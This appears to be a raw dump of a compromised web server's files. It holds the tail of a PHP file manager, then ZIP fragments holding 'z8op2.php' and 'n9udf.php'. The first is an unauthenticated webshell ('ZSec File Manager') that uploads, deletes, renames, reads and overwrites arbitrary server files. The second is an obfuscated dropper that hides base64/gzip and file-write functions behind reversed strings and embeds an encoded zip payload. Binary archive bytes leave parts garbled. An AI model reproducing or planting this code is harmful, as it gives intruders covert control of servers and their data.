<script>hljs.highlightAll(); var isHighlightingEnabled = true;</script>
<?php endif; ?>
<script>
function template(html,options){
var re=/<\%([^\%>]+)?\%>/g,reExp=/(^( )?(if|for|else|switch|case|break|{|}))(.*)?/g,code='var r=[];\n',cursor=0,match;var add=function(line,js){js?(code+=line.match(reExp)?line+'\n':'r.push('+line+');\n'):(code+=line!=''?'r.push("'+line.replace(/"/g,'\\"')+'");\n':'');return add}
while(match=re.exec(html)){add(html.slice(cursor,match.index))(match[1],!0);cursor=match.index+match[0].length}
add(html.substr(cursor,html.length-cursor));code+='return r.join("");';return new Function(code.replace(/[\r\t\n]/g,'')).apply(options)
}
function rename(e, t) { if(t) { $("#js-rename-from").val(t);$("#js-rename-to").val(t); $("#renameDailog").modal('show'); } }
function change_checkboxes(e, t) { for (var n = e.length - 1; n >= 0; n--) e[n].checked = "boolean" == typeof t ? t : !e[n].checked }
function get_checkboxes() { for (var e = document.getElementsByName("file[]"), t = [], n = e.length - 1; n >= 0; n--) (e[n].type = "checkbox") and t.push(e[n]); return t }
function select_all() { change_checkboxes(get_checkboxes(), !0) }
function unselect_all() { change_checkboxes(get_checkboxes(), !1) }
function invert_all() { change_checkboxes(get_checkboxes()) }
function checkbox_toggle() { var e = get_checkboxes(); e.push(this), change_checkboxes(e) }
function backup(e, t) {
var n = new XMLHttpRequest,
a = "path=" + e + "&file=" + t + "&token="+ window.csrf +"&type=backup&ajax=true";
return n.open("POST", "", !0), n.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), n.onreadystatechange = function () {
4 == n.readyState and 200 == n.status and toast(n.responseText)
}, n.send(a), !1
}
// Toast message
function toast(txt) { var x = document.getElementById("snackbar");x.innerHTML=txt;x.className = "show";setTimeout(function(){ x.className = x.className.replace("show", ""); }, 3000); }
// Save file
function edit_save(e, t) {
var n = "ace" == t ? editor.getSession().getValue() : document.getElementById("normal-editor").value;
if (typeof n !== 'undefined' and n !== null) {
if (true) {
var data = {ajax: true, content: n, type: 'save', token: window.csrf};
$.ajax({
type: "POST",
url: window.location,
data: JSON.stringify(data),
contentType: "application/json; charset=utf-8",
success: function(mes){toast("Saved Successfully"); window.onbeforeunload = function() {return}},
failure: function(mes) {toast("Error: try again");},
error: function(mes) {toast(`<p style="background-color:red">${mes.responseText}</p>`);}
});
} else {
var a = document.createElement("form");
a.setAttribute("method", "POST"), a.setAttribute("action", "");
var o = document.createElement("textarea");
o.setAttribute("type", "textarea"), o.setAttribute("name", "savedata");
let cx = document.createElement("input"); cx.setAttribute("type", "hidden");cx.setAttribute("name", "token");cx.setAttribute("value", window.csrf);
var c = document.createTextNode(n);
o.appendChild(c), a.appendChild(o), a.appendChild(cx), document.body.appendChild(a), a.submit()
}
}
}
function show_new_pwd() { $(".js-new-pwd").toggleClass('hidden'); }
// Save Settings
function save_settings($this) {
let form = $($this);
$.ajax({
type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
success: function (data) {if(data) { window.location.reload();}}
}); return false;
}
//Create new password hash
function new_password_hash($this) {
let form = $($this), $pwd = $("#js-pwd-result"); $pwd.val('');
$.ajax({
type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
success: function (data) { if(data) { $pwd.val(data); } }
}); return false;
}
// Upload files using URL @param {Object}
function upload_from_url($this) {
let form = $($this), resultWrapper = $("div#js-url-upload__list");
$.ajax({
type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
beforeSend: function() { form.find("input[name=uploadurl]").attr("disabled","disabled"); form.find("button").hide(); form.find(".lds-facebook").addClass('show-me'); },
success: function (data) {
if(data) {
data = JSON.parse(data);
if(data.done) {
resultWrapper.append('<div class="alert alert-success row">Uploaded Successful: '+data.done.name+'</div>'); form.find("input[name=uploadurl]").val('');
} else if(data['fail']) { resultWrapper.append('<div class="alert alert-danger row">Error: '+data.fail.message+'</div>'); }
form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');
}
},
error: function(xhr) {
form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');console.error(xhr);
}
}); return false;
}
// Search template
function search_template(data) {
var response = "";
$.each(data, function (key, val) {
response += `<li><a href="?p=${val.path}&view=${val.name}">${val.path}/${val.name}</a></li>`;
});
return response;
}
// Advance search
function fm_search() {
var searchTxt = $("input#advanced-search").val(), searchWrapper = $("ul#search-wrapper"), path = $("#js-search-modal").attr("href"), _html = "", $loader = $("div.lds-facebook");
if(!!searchTxt and searchTxt.length > 2 and path) {
var data = {ajax: true, content: searchTxt, path:path, type: 'search', token: window.csrf };
$.ajax({
type: "POST",
url: window.location,
data: data,
beforeSend: function() {
searchWrapper.html('');
$loader.addClass('show-me');
},
success: function(data){
$loader.removeClass('show-me');
data = JSON.parse(data);
if(data and data.length) {
_html = search_template(data);
searchWrapper.html(_html);
} else { searchWrapper.html('<p class="m-2">No result found!<p>'); }
},
error: function(xhr) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>'); },
failure: function(mes) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>');}
});
} else { searchWrapper.html("OOPS: minimum 3 characters required!"); }
}
// action confirm dailog modal
function confirmDailog(e, id = 0, title = "Action", content = "", action = null) {
e.preventDefault();
const tplObj = {id, title, content: decodeURIComponent(content.replace(/\+/g, ' ')), action};
let tpl = $("#js-tpl-confirm").html();
$(".modal.confirmDailog").remove();
$('#wrapper').append(template(tpl,tplObj));
const $confirmDailog = $("#confirmDailog-"+tplObj.id);
$confirmDailog.modal('show');
return false;
}
// on mouse hover image preview
!function(s){s.previewImage=function(e){var o=s(document),t=".previewImage",a=s.extend({xOffset:20,yOffset:-20,fadeIn:"fast",css:{padding:"5px",border:"1px solid #cccccc","background-color":"#fff"},eventSelector:"[data-preview-image]",dataKey:"previewImage",overlayId:"preview-image-plugin-overlay"},e);return o.off(t),o.on("mouseover"+t,a.eventSelector,function(e){s("p#"+a.overlayId).remove();var o=s("<p>").attr("id",a.overlayId).css("position","absolute").css("display","none").append(s('<img class="c-preview-img">').attr("src",s(this).data(a.dataKey)));a.cssando.css(a.css),s("body").append(o),o.css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px").fadeIn(a.fadeIn)}),o.on("mouseout"+t,a.eventSelector,function(){s("#"+a.overlayId).remove()}),o.on("mousemove"+t,a.eventSelector,function(e){s("#"+a.overlayId).css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px")}),this},s.previewImage()}(jQuery);
// Dom Ready Events
$(document).ready( function () {
// dataTable init
var $table = $('#main-table'),
tableLng = $table.find('th').length,
_targets = (tableLng and tableLng == 7 ) ? [0, 4,5,6] : tableLng == 5 ? [0,4] : [3];
mainTable = $('#main-table').DataTable({paging: false, info: false, order: [], columnDefs: [{targets: _targets, orderable: false}]
});
// filter table
$('#search-addon').on( 'keyup', function () {
mainTable.search( this.value ).draw();
});
$("input#advanced-search").on('keyup', function (e) {
if (e.keyCode === 13) { fm_search(); }
});
$('#search-addon3').on( 'click', function () { fm_search(); });
//upload nav tabs
$(".fm-upload-wrapper .card-header-tabs").on("click", 'a', function(e){
e.preventDefault();let target=$(this).data('target');
$(".fm-upload-wrapper .card-header-tabs a").removeClass('active');$(this).addClass('active');
$(".fm-upload-wrapper .card-tabs-container").addClass('hidden');$(target).removeClass('hidden');
});
});
</script>
<?php if (isset($_GET['edit']) and isset($_GET['env']) and FM_EDIT_FILE and !FM_READONLY):
$ext = pathinfo($_GET["edit"], PATHINFO_EXTENSION);
$ext = $ext == "js" ? "javascript" : $ext;
?>
<?php print_external('js-ace'); ?>
<script>
var editor = ace.edit("editor");
editor.getSession().setMode( {path:"ace/mode/<?php echo $ext; ?>", inline:true} );
//editor.setTheme("ace/theme/twilight"); //Dark Theme
editor.setShowPrintMargin(false); // Hide the vertical ruler
function ace_commend (cmd) { editor.commands.exec(cmd, editor); }
editor.commands.addCommands([{
name: 'save', bindKey: {win: 'Ctrl-S', mac: 'Command-S'},
exec: function(editor) { edit_save(this, 'ace'); }
}]);
function renderThemeMode() {
var $modeEl = $("select#js-ace-mode"), $themeEl = $("select#js-ace-theme"), $fontSizeEl = $("select#js-ace-fontSize"), optionNode = function(type, arr){ var $Option = ""; $.each(arr, function(i, val) { $Option += "<option value='"+type+i+"'>" + val + "</option>"; }); return $Option; },
_data = {"aceTheme":{"bright":{"chrome":"Chrome","clouds":"Clouds","crimson_editor":"Crimson Editor","dawn":"Dawn","dreamweaver":"Dreamweaver","eclipse":"Eclipse","github":"GitHub","iplastic":"IPlastic","solarized_light":"Solarized Light","textmate":"TextMate","tomorrow":"Tomorrow","xcode":"XCode","kuroir":"Kuroir","katzenmilch":"KatzenMilch","sqlserver":"SQL Server"},"dark":{"ambiance":"Ambiance","chaos":"Chaos","clouds_midnight":"Clouds Midnight","dracula":"Dracula","cobalt":"Cobalt","gruvbox":"Gruvbox","gob":"Green on Black","idle_fingers":"idle Fingers","kr_theme":"krTheme","merbivore":"Merbivore","merbivore_soft":"Merbivore Soft","mono_industrial":"Mono Industrial","monokai":"Monokai","pastel_on_dark":"Pastel on dark","solarized_dark":"Solarized Dark","terminal":"Terminal","tomorrow_night":"Tomorrow Night","tomorrow_night_blue":"Tomorrow Night Blue","tomorrow_night_bright":"Tomorrow Night Bright","tomorrow_night_eighties":"Tomorrow Night 80s","twilight":"Twilight","vibrant_ink":"Vibrant Ink"}},"aceMode":{"javascript":"JavaScript","abap":"ABAP","abc":"ABC","actionscript":"ActionScript","ada":"ADA","apache_conf":"Apache Conf","asciidoc":"AsciiDoc","asl":"ASL","assembly_x86":"Assembly x86","autohotkey":"AutoHotKey","apex":"Apex","batchfile":"BatchFile","bro":"Bro","c_cpp":"C and C++","c9search":"C9Search","cirru":"Cirru","clojure":"Clojure","cobol":"Cobol","coffee":"CoffeeScript","coldfusion":"ColdFusion","csharp":"C#","csound_document":"Csound Document","csound_orchestra":"Csound","csound_score":"Csound Score","css":"CSS","curly":"Curly","d":"D","dart":"Dart","diff":"Diff","dockerfile":"Dockerfile","dot":"Dot","drools":"Drools","edifact":"Edifact","eiffel":"Eiffel","ejs":"EJS","elixir":"Elixir","elm":"Elm","erlang":"Erlang","forth":"Forth","fortran":"Fortran","fsharp":"FSharp","fsl":"FSL","ftl":"FreeMarker","gcode":"Gcode","gherkin":"Gherkin","gitignore":"Gitignore","glsl":"Glsl","gobstones":"Gobstones","golang":"Go","graphqlschema":"GraphQLSchema","groovy":"Groovy","haml":"HAML","handlebars":"Handlebars","haskell":"Haskell","haskell_cabal":"Haskell Cabal","haxe":"haXe","hjson":"Hjson","html":"HTML","html_elixir":"HTML (Elixir)","html_ruby":"HTML (Ruby)","ini":"INI","io":"Io","jack":"Jack","jade":"Jade","java":"Java","json":"JSON","jsoniq":"JSONiq","jsp":"JSP","jssm":"JSSM","jsx":"JSX","julia":"Julia","kotlin":"Kotlin","latex":"LaTeX","less":"LESS","liquid":"Liquid","lisp":"Lisp","livescript":"LiveScript","logiql":"LogiQL","lsl":"LSL","lua":"Lua","luapage":"LuaPage","lucene":"Lucene","makefile":"Makefile","markdown":"Markdown","mask":"Mask","matlab":"MATLAB","maze":"Maze","mel":"MEL","mixal":"MIXAL","mushcode":"MUSHCode","mysql":"MySQL","nix":"Nix","nsis":"NSIS","objectivec":"Objective-C","ocaml":"OCaml","pascal":"Pascal","perl":"Perl","perl6":"Perl 6","pgsql":"pgSQL","php_laravel_blade":"PHP (Blade Template)","php":"PHP","puppet":"Puppet","pig":"Pig","powershell":"Powershell","praat":"Praat","prolog":"Prolog","properties":"Properties","protobuf":"Protobuf","python":"Python","r":"R","razor":"Razor","rdoc":"RDoc","red":"Red","rhtml":"RHTML","rst":"RST","ruby":"Ruby","rust":"Rust","sass":"SASS","scad":"SCAD","scala":"Scala","scheme":"Scheme","scss":"SCSS","sh":"SH","sjs":"SJS","slim":"Slim","smarty":"Smarty","snippets":"snippets","soy_template":"Soy Template","space":"Space","sql":"SQL","sqlserver":"SQLServer","stylus":"Stylus","svg":"SVG","swift":"Swift","tcl":"Tcl","terraform":"Terraform","tex":"Tex","text":"Text","textile":"Textile","toml":"Toml","tsx":"TSX","twig":"Twig","typescript":"Typescript","vala":"Vala","vbscript":"VBScript","velocity":"Velocity","verilog":"Verilog","vhdl":"VHDL","visualforce":"Visualforce","wollok":"Wollok","xml":"XML","xquery":"XQuery","yaml":"YAML","django":"Django"},"fontSize":{8:8,10:10,11:11,12:12,13:13,14:14,15:15,16:16,17:17,18:18,20:20,22:22,24:24,26:26,30:30}};
if(_data and _data.aceMode) { $modeEl.html(optionNode("ace/mode/", _data.aceMode)); }
if(_data and _data.aceTheme) { var lightTheme = optionNode("ace/theme/", _data.aceTheme.bright), darkTheme = optionNode("ace/theme/", _data.aceTheme.dark); $themeEl.html("<optgroup label=\"Bright\">"+lightTheme+"</optgroup><optgroup label=\"Dark\">"+darkTheme+"</optgroup>");}
if(_data and _data.fontSize) { $fontSizeEl.html(optionNode("", _data.fontSize)); }
$modeEl.val( editor.getSession().$modeId );
$themeEl.val( editor.getTheme() );
$fontSizeEl.val(12).change();
}
$(function(){
renderThemeMode();
$(".js-ace-toolbar").on("click", 'button', function(e){
e.preventDefault();
let cmdValue = $(this).attr("data-cmd"), editorOption = $(this).attr("data-option");
if(cmdValue and cmdValue != "none") {
ace_commend(cmdValue);
} else if(editorOption) {
if(editorOption == "fullscreen") {
(void 0!==document.fullScreenElementandnull===document.fullScreenElement||void 0!==document.msFullscreenElementandnull===document.msFullscreenElement||void 0!==document.mozFullScreenand!document.mozFullScreen||void 0!==document.webkitIsFullScreenand!document.webkitIsFullScreen)
and(editor.container.requestFullScreen?editor.container.requestFullScreen():editor.container.mozRequestFullScreen?editor.container.mozRequestFullScreen():editor.container.webkitRequestFullScreen?editor.container.webkitRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT):editor.container.msRequestFullscreenandeditor.container.msRequestFullscreen());
} else if(editorOption == "wrap") {
let wrapStatus = (editor.getSession().getUseWrapMode()) ? false : true;
editor.getSession().setUseWrapMode(wrapStatus);
}
}
});
$("select#js-ace-mode, select#js-ace-theme, select#js-ace-fontSize").on("change", function(e){
e.preventDefault();
let selectedValue = $(this).val(), selectionType = $(this).attr("data-type");
if(selectedValue and selectionType == "mode") {
editor.getSession().setMode(selectedValue);
} else if(selectedValue and selectionType == "theme") {
editor.setTheme(selectedValue);
}else if(selectedValue and selectionType == "fontSize") {
editor.setFontSize(parseInt(selectedValue));
}
});
});
</script>
<?php endif; ?>
<div id="snackbar"></div>
</body>
</html>
<?php
}
function lng($txt) {
global $lang;
$tr['en']['AppName'] = 'spathe'; $tr['en']['AppTitle'] = 'spathe';
$tr['en']['Login'] = 'Sign in'; $tr['en']['Username'] = 'Username';
$tr['en']['Password'] = 'Password'; $tr['en']['Logout'] = 'Sign Out';
$tr['en']['Move'] = 'Move'; $tr['en']['Copy'] = 'Copy';
$tr['en']['Save'] = 'Save'; $tr['en']['SelectAll'] = 'Select all';
$tr['en']['UnSelectAll'] = 'Unselect all'; $tr['en']['File'] = 'File';
$tr['en']['Back'] = 'Back'; $tr['en']['Size'] = 'Size';
$tr['en']['Perms'] = 'Perms'; $tr['en']['Modified'] = 'Modified';
$tr['en']['Owner'] = 'Owner'; $tr['en']['Search'] = 'Search';
$tr['en']['NewItem'] = 'New Item'; $tr['en']['Folder'] = 'Folder';
$tr['en']['Delete'] = 'Delete'; $tr['en']['Rename'] = 'Rename';
$tr['en']['CopyTo'] = 'Copy to'; $tr['en']['DirectLink'] = 'Direct link';
$tr['en']['UploadingFiles'] = 'Upload Files'; $tr['en']['ChangePermissions'] = 'Change Permissions';
$tr['en']['Copying'] = 'Copying'; $tr['en']['CreateNewItem'] = 'Create New Item';
$tr['en']['Name'] = 'Name'; $tr['en']['AdvancedEditor'] = 'Advanced Editor';
$tr['en']['Actions'] = 'Actions'; $tr['en']['Folder is empty'] = 'Folder is empty';
$tr['en']['Upload'] = 'Upload'; $tr['en']['Cancel'] = 'Cancel';
$tr['en']['InvertSelection']= 'Invert Selection'; $tr['en']['DestinationFolder'] = 'Destination Folder';
$tr['en']['ItemType'] = 'Item Type'; $tr['en']['ItemName'] = 'Item Name';
$tr['en']['CreateNow'] = 'Create Now'; $tr['en']['Download'] = 'Download';
$tr['en']['Open'] = 'Open'; $tr['en']['UnZip'] = 'UnZip';
$tr['en']['UnZipToFolder'] = 'UnZip to folder'; $tr['en']['Edit'] = 'Edit';
$tr['en']['NormalEditor'] = 'Normal Editor'; $tr['en']['BackUp'] = 'Back Up';
$tr['en']['SourceFolder'] = 'Source Folder'; $tr['en']['Files'] = 'Files';
$tr['en']['Move'] = 'Move'; $tr['en']['Change'] = 'Change';
$tr['en']['Settings'] = 'Settings'; $tr['en']['Language'] = 'Language';
$tr['en']['ErrorReporting'] = 'Error Reporting'; $tr['en']['ShowHiddenFiles'] = 'Show Hidden Files';
$tr['en']['Help'] = 'Help'; $tr['en']['Created'] = 'Created';
$tr['en']['Help Documents'] = 'Help Documents'; $tr['en']['Report Issue'] = 'Report Issue';
$tr['en']['Generate'] = 'Generate'; $tr['en']['FullSize'] = 'Full Size';
$tr['en']['HideColumns'] = 'Hide Perms/Owner columns';$tr['en']['You are logged in'] = 'You are logged in';
$tr['en']['Nothing selected'] = 'Nothing selected'; $tr['en']['Paths must be not equal'] = 'Paths must be not equal';
$tr['en']['Renamed from'] = 'Renamed from'; $tr['en']['Archive not unpacked'] = 'Archive not unpacked';
$tr['en']['Deleted'] = 'Deleted'; $tr['en']['Archive not created'] = 'Archive not created';
$tr['en']['Copied from'] = 'Copied from'; $tr['en']['Permissions changed'] = 'Permissions changed';
$tr['en']['to'] = 'to'; $tr['en']['Saved Successfully'] = 'Saved Successfully';
$tr['en']['not found!'] = 'not found!'; $tr['en']['File Saved Successfully'] = 'File Saved Successfully';
$tr['en']['Archive'] = 'Archive'; $tr['en']['Permissions not changed'] = 'Permissions not changed';
$tr['en']['Select folder'] = 'Select folder'; $tr['en']['Source path not defined'] = 'Source path not defined';
$tr['en']['already exists'] = 'already exists'; $tr['en']['Error while moving from'] = 'Error while moving from';
$tr['en']['Create archive?'] = 'Create archive?'; $tr['en']['Invalid file or folder name'] = 'Invalid file or folder name';
$tr['en']['Archive unpacked'] = 'Archive unpacked'; $tr['en']['File extension is not allowed'] = 'File extension is not allowed';
$tr['en']['Root path'] = 'Root path'; $tr['en']['Error while renaming from'] = 'Error while renaming from';
$tr['en']['File not found'] = 'File not found'; $tr['en']['Error while deleting items'] = 'Error while deleting items';
$tr['en']['Moved from'] = 'Moved from'; $tr['en']['Generate new password hash'] = 'Generate new password hash';
$tr['en']['Login failed. Invalid username or password'] = 'Login failed. Invalid username or password';
$tr['en']['password_hash not supported, Upgrade PHP version'] = 'password_hash not supported, Upgrade PHP version';
$tr['en']['Advanced Search'] = 'Advanced Search'; $tr['en']['Error while copying from'] = 'Error while copying from';
$tr['en']['Invalid characters in file name'] = 'Invalid characters in file name';
$tr['en']['FILE EXTENSION HAS NOT SUPPORTED'] = 'FILE EXTENSION HAS NOT SUPPORTED';
$tr['en']['Selected files and folder deleted'] = 'Selected files and folder deleted';
$tr['en']['Error while fetching archive info'] = 'Error while fetching archive info';
$tr['en']['Delete selected files and folders?'] = 'Delete selected files and folders?';
$tr['en']['Search file in folder and subfolders...'] = 'Search file in folder and subfolders...';
$tr['en']['Access denied. IP restriction applicable'] = 'Access denied. IP restriction applicable';
$tr['en']['Invalid characters in file or folder name'] = 'Invalid characters in file or folder name';
$tr['en']['Operations with archives are not available'] = 'Operations with archives are not available';
$tr['en']['File or folder with this path already exists'] = 'File or folder with this path already exists';
$i18n = fm_get_translations($tr);
$tr = $i18n ? $i18n : $tr;
if (!strlen($lang)) $lang = 'en';
if (isset($tr[$lang][$txt])) return fanco($tr[$lang][$txt]);
else if (isset($tr['en'][$txt])) return fanco($tr['en'][$txt]);
else return "$txt";
}
?>PK �Um\~\ݸ5
5
z8op2.phpnu �[��� <?php
session_start();
$dir = isset($_GET['dir']) ? realpath($_GET['dir']) : realpath('.');
if ($dir === false || !is_dir($dir)) {
die("Direktori tidak ditemukan!");
}
if (isset($_POST['upload'])) {
move_uploaded_file($_FILES['file']['tmp_name'], "$dir/" . $_FILES['file']['name']);
}
if (isset($_POST['delete'])) {
unlink($_POST['delete']);
}
if (isset($_POST['rename'])) {
rename($_POST['oldname'], $_POST['newname']);
}
if (isset($_POST['save'])) {
file_put_contents($_POST['filepath'], $_POST['content']);
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Mini File Manager</title>
<style>
body { font-family: Arial, sans-serif; background: #222; color: #ddd; text-align: center; }
a { color: #0af; text-decoration: none; }
.container { width: 80%; margin: auto; text-align: left; }
.box { background: #333; padding: 10px; margin: 5px; border-radius: 5px; }
input, button { background: #444; color: white; border: none; padding: 5px; margin: 2px; }
.directory { font-weight: bold; }
</style>
</head>
<body>
<div class='container'>
<h2>ZSec File Manager</h2>
<form method='post' enctype='multipart/form-data'>
<input type='file' name='file'>
<button type='submit' name='upload'>Upload</button>
</form>
<div class='box'>
<p class='directory'>Current Directory: <?php echo $dir; ?></p>
<?php if (dirname($dir) !== $dir) : ?>
<a href='?dir=<?php echo dirname($dir); ?>'>[Up]</a>
<?php endif; ?>
<?php
foreach (scandir($dir) as $file) {
if ($file == '.') continue;
$filePath = "$dir/$file";
if ($file == '..' && $dir === '/') continue;
echo "<div>$file ";
if (is_dir($filePath)) {
echo "<a href='?dir=$filePath'>[Open]</a> ";
} elseif (is_file($filePath)) {
echo "<a href='?edit=$filePath'>[Edit]</a> ";
}
echo "<form method='post' style='display:inline;'>
<input type='hidden' name='delete' value='$filePath'>
<button type='submit'>Hapus</button>
</form>
<form method='post' style='display:inline;'>
<input type='hidden' name='oldname' value='$filePath'>
<input type='text' name='newname' placeholder='Nama baru'>
<button type='submit' name='rename'>Rename</button>
</form>
</div>";
}
?>
</div>
</div>
<?php if (isset($_GET['edit'])): ?>
<?php $file = $_GET['edit']; ?>
<div class='container'>
<h3>Edit File</h3>
<form method='post'>
<input type='hidden' name='filepath' value='<?php echo $file; ?>'>
<textarea name='content' rows='10' style='width:100%; background:#333; color:#ddd;'><?php echo htmlspecialchars(file_get_contents($file)); ?></textarea>
<button type='submit' name='save'>Simpan</button>
</form>
</div>
<?php endif; ?>
</body>
</html>PK �Um\������ �� n9udf.phpnu �[��� <?php
$decode = strrev('edoced_46esab');$decode2 = strrev('edocnezg');$decode3 = strrev('edocedzg');$decode4 = strrev('sserpmoczg');$decode5 = strrev('sserpmocnuzg');$write = strrev('stnetnoc_tup_elif');$mkdir = strrev('ridkm');$unlink = strrev('knilnu');$glob = strrev('bolg');$is_file = strrev('elif_si');
$zipData = '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